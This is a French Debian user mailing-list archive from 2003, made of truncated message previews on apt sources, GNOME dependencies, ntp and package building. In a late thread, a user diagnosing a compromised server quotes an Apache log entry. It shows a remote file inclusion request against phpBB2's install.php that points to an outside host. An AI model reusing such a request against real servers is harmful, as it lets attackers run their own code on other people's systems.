Salut,
Le Dimanche 3 Août 2003 02:28, Xavier Maillard a écrit :
> depuis quelques temps j'ai un 404 sur un apt-get update lorsqu'il
> essaie de me mettre à jour la source http://ddtp.debian.org (pour ceux
RTFM :-)
http://ddtp.debian.org/how_it_works/ddts.en.html
> [1] deb htt://ddtp.debian.org
Le Sunday 03 August à 02:28 , Xavier Maillard a écrit:
> Bonsoir,
>
> depuis quelques temps j'ai un 404 sur un apt-get update lorsqu'il
> essaie de me mettre à jour la source http://ddtp.debian.org (pour ceux
> qui voudraient savoir ce que c'est, ben ça renvoie la description des
> paquets en fran
Nicolas Péchon <[EMAIL PROTECTED]> writes:
> Le Sunday 03 August à 02:28 , Xavier Maillard a écrit:
> > Bonsoir,
> >
> > depuis quelques temps j'ai un 404 sur un apt-get update lorsqu'il
> > essaie de me mettre à jour la source http://ddtp.debian.org (pour
> > ceux qui voudraient savoir ce
Thomas Pimmel <[EMAIL PROTECTED]> writes:
> Salut,
>
> Le Dimanche 3 Août 2003 02:28, Xavier Maillard a écrit :
>
> > depuis quelques temps j'ai un 404 sur un apt-get update lorsqu'il
> > essaie de me mettre à jour la source http://ddtp.debian.org (pour
> > ceux
>
> RTFM :-)
Ben oui m
On Sat, 02 Aug 2003 18:03:41 +0200
claude <[EMAIL PROTECTED]> wrote:
>
> Oui, mais c'est le logiciel qui sert à faire des gif ou à les lire... ce
> ne sont pas les gifs en eux-mêmes qui sont prohibés si on ne paie pas la
> license (y'a qu'à voir le nombre de sites où l'on en trouve encore :
>
Le Sun 3/08/2003, Alain Tesio disait
> On Sat, 02 Aug 2003 18:03:41 +0200
> claude <[EMAIL PROTECTED]> wrote:
>
> >
> > Oui, mais c'est le logiciel qui sert à faire des gif ou à les lire... ce
> > ne sont pas les gifs en eux-mêmes qui sont prohibés si on ne paie pas la
> > license (y'a qu'à vo
On Sun, Aug 03, 2003 at 10:49:35AM +0200, Nicolas Péchon wrote:
>
> Si j'ai bien compris. si je met cela dans mon source.list, j'aurais les
> description des packets en français???
Tu n'auras pas toutes les descriptions en français, mais seulement
celles qui ont déjà été traduite ;) (et il en
* Xavier Maillard <[EMAIL PROTECTED]> [2003-08-03 02:28] :
> Bonsoir,
>
> depuis quelques temps j'ai un 404 sur un apt-get update lorsqu'il
> essaie de me mettre à jour la source http://ddtp.debian.org (pour ceux
> qui voudraient savoir ce que c'est, ben ça renvoie la description des
> paquets en
* Erwan David <[EMAIL PROTECTED]> [2003-07-31 21:10] :
> Le Thu 31/07/2003, Daniel Déchelotte disait
> > Yves Rutschle <[EMAIL PROTECTED]> a écrit :
> >
> > > Principe Unix vieux comme Unix: un programme devrait faire
> > > une chose, et le faire bien.
> >
> > Pas si vite, cette approche a ses i
Le Sun 3/08/2003, Frédéric Bothamy disait
>
> Si ce n'est que pour voir les photos, display est lourd et lent à
> charger les images. qiv est beaucoup plus rapide (arg, il dépend de gdk,
> gtk, imlib et glib, c'est admissible ? :-)) (à peu près, 3,5 s contre 0,5 s
> sur un Duron 950 pour une imag
On Thu, Jul 31, 2003 at 06:05:59PM +0200, Thomas Nemeth wrote:
> Le 31.07.03, Eric LeBlanc a tapoté :
>
> | On Thu, 31 Jul 2003, Thomas Nemeth wrote:
> |
> | > |
> | > | Inutiles?
> | >
> | > Oui, inutiles.
> |
> | Comme ca, sans arguments? Assez solide comme reponse.
>
> Tu veux un exem
Le Sun 3/08/2003, Sven Luther disait
> Rappelons, just pour la petite histoire, que balsa est un projet gnome,
> ou l'etait en 99 du moins. C'est donc normal qu'il depende d'une floppe
> de trucs gnome. Si maintenant mutt dependait de la meme chose, ce serait
> une autre histoire.
Et gtkam qui se
depuis que j'ai installé ntp j'ai 2 heuures d'avance
pourtant tzconfig me dit que je suis bien sur Europe/Brussels
suis je un precurseur en avance sur mon temps ? ;-))
--
hendrickx guy <[EMAIL PROTECTED]>
signature.asc
Description: PGP signature
On Sun, Aug 03, 2003 at 03:35:20PM +0200, Erwan David wrote:
> Le Sun 3/08/2003, Sven Luther disait
> > Rappelons, just pour la petite histoire, que balsa est un projet gnome,
> > ou l'etait en 99 du moins. C'est donc normal qu'il depende d'une floppe
> > de trucs gnome. Si maintenant mutt dependa
salut à tous,
bonne nouvelle, ça y est, on a enfin Festival en français.
cela fait peut etre un moment mais je viens à peine de le découvrir.
en effet, jusqu'à maintenant c'était la galère pour essayer de faire
synthétiser festval en français, mais désormais un patch est disponible pour
y reméd
Le Sun 3/08/2003, Sven Luther disait
> On Sun, Aug 03, 2003 at 03:35:20PM +0200, Erwan David wrote:
> > Le Sun 3/08/2003, Sven Luther disait
> > > Rappelons, just pour la petite histoire, que balsa est un projet gnome,
> > > ou l'etait en 99 du moins. C'est donc normal qu'il depende d'une floppe
Bonjour,
Voila depuis quelques jours j'ai un sérieux probleme avec la gestion des
packets sous ma Woody.
Je pensais avoir un probleme dans mon fichier available mais il semblerait que
non.
Le apt-get update se passe sans aucuns problemes mais quand je fais mon apt-get
upgrade:
box:/root# apt-ge
Le Sun 3/08/2003, Sven Luther disait
> Maintenant, je suppose que ce que tu veut dire, c'est les 2 (3 en fait)
> nouveau bouton dans le widget d'ouverture de fichier (home, desktop,
> document), n'est-ce pas ?
>
> En fait, je soupsonne qu'il s'agit tout simplement d'un patch applique a
> gtk+, su
Le 12267ième jour après Epoch,
hendrickx guy écrivait:
> depuis que j'ai installé ntp j'ai 2 heuures d'avance
> pourtant tzconfig me dit que je suis bien sur Europe/Brussels
> suis je un precurseur en avance sur mon temps ? ;-))
Regarde si le protocole ipot n'est pas mis en route par hasard..
Fr
Le dim 03/08/2003 à 20:37, dédé le homard a écrit :
> salut à tous,
>
> bonne nouvelle, ça y est, on a enfin Festival en français.
> cela fait peut etre un moment mais je viens à peine de le découvrir.
>
> en effet, jusqu'à maintenant c'était la galère pour essayer de faire
> synthétiser festval
Bonjour à tous,
Voilà, depuis quelques jours (le 30 juillet en fait), j'ai des
problèmes sur mon serveur avec mon samba qui marche très difficilement
et surtout mon apache qui refuse de se lancer sous prétexte que
quelqu'un d'autre utilise son port 443 (il y a bien un site qui tourne
en https
On Sun, Aug 03, 2003 at 05:38:05PM +0200, Erwan David wrote:
> Le Sun 3/08/2003, Sven Luther disait
> > Je ne vois pas de dependances gnomesque ici, j'ai deja expliquer dans
> > l'autre mail au sujet de gimp, que pango et atk ne peuvent pas etre
> > considerer comme des dependances gnomesque, et q
Le Sun 3/08/2003, Sven Luther disait
> On Sun, Aug 03, 2003 at 05:38:05PM +0200, Erwan David wrote:
> > Le Sun 3/08/2003, Sven Luther disait
> > > Je ne vois pas de dependances gnomesque ici, j'ai deja expliquer dans
> > > l'autre mail au sujet de gimp, que pango et atk ne peuvent pas etre
> > >
Bonsoir, juste une tite question Erwann, tu es en testing/unstable ?
A+,
J8, trouble fête/trouble fight :).
Salut,
Je tourne en rond depuis le début de l'après-midi sur le "make install" d'un
fichier po de mon programme qui renvoie une erreur. Le Makefile a été généré
par Anjuta, mais j'ignore s'il s'agit d'un bug d'anjuta ou d'une config au
niveau de ma debian... ou d'autre chose.
L'ancienne versio
Le Sun 3/08/2003, JusTiCe8 disait
> Bonsoir, juste une tite question Erwann, tu es en testing/unstable ?
unstable chez moi testing au boulot. Mais c'est clair si debian
devient une distrib comme les autres avec desktop obligatoire, etc. ce
sera SuSE au boulot (comme les autres) et la debian y dev
oohh là calme gars, c'est juste pour te rappeler que unstable = problème
à prévoir => tant que possible remonté des erreurs/bugs. Pis un peu
aussi en testing non ? Comme son nom l'indique !
Sinon, desktop non obligatoire : reste toujours les bon vieux outils en
ligne de commande.
A+,
J8.
Bonjour.
J'essaie d'installer qmail sur ma petite sarge.
je desinstalle alors exim et la surprise il me desintalle postgresql.
j'installe qmail et je reinstalle mon postgres mais je suis obliger de
reinstaller exim.
doug:/home/bill# apt-get install postgresql
Reading Package Lists... Done
Buil
Le Sun 3/08/2003, JusTiCe8 disait
> oohh là calme gars, c'est juste pour te rappeler que unstable = problème
> à prévoir => tant que possible remonté des erreurs/bugs. Pis un peu
> aussi en testing non ? Comme son nom l'indique !
ah mais je le fais. Mais je peux m'inquiéter d'une évolution qu
On Sun, Aug 03, 2003 at 08:08:37PM +0200, Erwan David wrote:
> Le Sun 3/08/2003, Sven Luther disait
> > On Sun, Aug 03, 2003 at 05:38:05PM +0200, Erwan David wrote:
> > > Le Sun 3/08/2003, Sven Luther disait
> > > > Je ne vois pas de dependances gnomesque ici, j'ai deja expliquer dans
> > > > l'a
On Sun, Aug 03, 2003 at 08:43:08PM +0200, Thomas Pimmel wrote:
> Salut,
>
> Je tourne en rond depuis le début de l'après-midi sur le "make install" d'un
> fichier po de mon programme qui renvoie une erreur. Le Makefile a été généré
> par Anjuta, mais j'ignore s'il s'agit d'un bug d'anjuta ou d'u
J'ai eu ( à plusieurs reprises, sur 2 PC ) la même mésaventure :
la barre des tâches disparaît, e ne semble que sporadiquement réapparaître,
du moins pour 1 utilisateurs ( pour les autres, l'affichage reste normal ).
Il semble qu'un fichier qqpart soit corrompu. Recréation de l'utilisateur
«rés
d'abord, dsl pour le petit pb d'horloge (merci l'autre machin xp).
Erwan David wrote:
Le Sun 3/08/2003, JusTiCe8 disait
oohh là calme gars, c'est juste pour te rappeler que unstable = problème
à prévoir => tant que possible remonté des erreurs/bugs. Pis un peu
aussi en testing non ? Comme
Le Sun 3/08/2003, Sven Luther disait
>
> Oui, j'ai vu cela dans tes bug reports, ceci dis, tu devrait peut etre
> faire tes bug reports contre gtk+ directement, pas contre gtkam, qui n'a
> pas reellement la responsabilite de ce probleme ? Que se passe-t-il si
> tu met G_BROKEN_FILENAMES ? Peut-et
On Sat, Aug 02, 2003 at 09:31:48AM +0200, Sven Luther wrote:
> apt-get source foo
> cd foo-1.2.3
> editer debian/rules, et mettre les option a configure qu'il faut.
> dpkg-buildpackage -rfakeroot -us -uc
> cd ..
> installer les packages
Je sais que c'est pas le bon forum pour parler d
Le Sat 2/08/2003, Sven Luther disait
> Oui sur, le probleme tel que je le voit, c'est que c'est une question de
> choix. Si un package peut etre compiler soit en gnome soit en non gnome,
> alors il faut que moi en tant que mainteneur du dit package, je me
> decide sur ce qu'il faut faire, en essa
Le dim 03/08/2003 à 22:04, Yves Rutschle a écrit :
> On Sat, Aug 02, 2003 at 09:31:48AM +0200, Sven Luther wrote:
> > apt-get source foo
> > cd foo-1.2.3
> > editer debian/rules, et mettre les option a configure qu'il faut.
> > dpkg-buildpackage -rfakeroot -us -uc
> > cd ..
> > install
On Thu, Jul 31, 2003 at 01:57:16PM -0400, Daniel Déchelotte wrote:
> > Principe Unix vieux comme Unix: un programme devrait faire
> > une chose, et le faire bien.
>
> Pas si vite, cette approche a ses inconvenients.
Tiens, je rechatouilles les moustaches trollesque aussi
alors:
> Pour recupere
* Yves Rutschle <[EMAIL PROTECTED]> [2003-08-03 21:04] :
> On Sat, Aug 02, 2003 at 09:31:48AM +0200, Sven Luther wrote:
> > apt-get source foo
> > cd foo-1.2.3
> > editer debian/rules, et mettre les option a configure qu'il faut.
> > dpkg-buildpackage -rfakeroot -us -uc
> > cd ..
> > i
On Sat, Aug 02, 2003 at 09:23:50AM +0200, Thomas Nemeth wrote:
> Ahhh le bon vieux logo des Mo5 et To7 :) Il fut un temps ou
> j'avais essayé de le trouver en version libre : je pense que c'est
> un bon langage pour amuser les jeunes et leur faire toucher du
> doigt la progr
On Fri, Aug 01, 2003 at 05:07:32PM +0100, Nicolas Rueff wrote:
> > Essayes un peu un *vrai* langage fonctionnel (Scheme, Caml, Haskell,
> > ...) et tu me diras si tu penses toujours que C est fonctionnel.
Un langage fonctionnel est un langage qui gère les fonctions
comme des objets de base du lan
Xavier Maillard wrote:
Bonjour,
Je souhaiterais pouvoir adapter la configuration de portable suivant le
lieu dans lequel je me trouve. Jusqu'à présent j'utilisais netenv mais
j'ai décidé récemment d'en changer n'étant pas satisfait des services
rendus par le précédent.
Le problème c'est que
On Fri, Aug 01, 2003 at 09:29:49PM +0200, le père Léon wrote:
> En lançant "make menuconfig", tout se passe bien jusqu'au moment où l'on
> doit voir apparaître l'affichage bleu-jaune de ncurses. Cet affichage
> n'apparait plus, je reste sur:
> ...
> Preparing scripts: functions, Parsing[...].
Salut,
Le Dimanche 3 Août 2003 21:06, Sven Luther a écrit :
> > make[1]: *** [install-data-yes] Erreur 127
> Ouais, j'ai eu le meme probleme avec parted. Il semble que ce soit liee
> a une incompatibilite avec automake, j'ai resolu cela en editant le
Justement non, automake fait bien son boulot.
Yves Rutschle <[EMAIL PROTECTED]> writes:
>
> [...]
>
> En C, tu ne peux même pas facilement créer de nouvelles
> fonctions.
Euh faut m'expliquer ce que tu entends par là parce que c'est pas clair
pour moi.
> > Mmm, c'est vrai que Caml est nettement plus fonctionnel (parait
> > même qu'i
On Sun, Aug 03, 2003 at 11:24:40PM +0100, Xavier Maillard wrote:
> > En C, tu ne peux même pas facilement créer de nouvelles
> > fonctions.
>
> Euh faut m'expliquer ce que tu entends par là parce que c'est pas clair
> pour moi.
Dans le programme Perl suivant, 'deriv' crée une _nouvelle_,
vraie
On Sun, Aug 03, 2003 at 10:51:40PM +0200, Léopold BAILLY wrote:
> Tu veux parler de apt-get build-dep ?
Oui, d'où on aurait retiré le "attempt to" satisfaire les
dépendances.
/Y - pour qui ça n'avait pas marché la seule fois qu'il
l'utilisa.
--
This signature left empty.
Bon je crois que j'ai trouvé le problème, au moins j'aurais publié le
code qu'il ne fallait surtout pas publier :)
Dans d'autres logs d'apache que j'avais oublié j'ai retrouvé :
200.103.138.205 - - [29/Jul/2003:00:53:38 +0200] "GET
/phpBB2/install.php?phpbb_root_dir=http://www.superwroger.hpg.ig
Le Mon, 04 Aug 2003 02:12:53 +0200, Freedom66 <[EMAIL PROTECTED]> a barbouillé:
> Bon je crois que j'ai trouvé le problème, au moins j'aurais publié le
> code qu'il ne fallait surtout pas publier :)
> Dans d'autres logs d'apache que j'avais oublié j'ai retrouvé :
> 200.103.138.205 - - [29/Jul/200
49 matches
Mail list logo
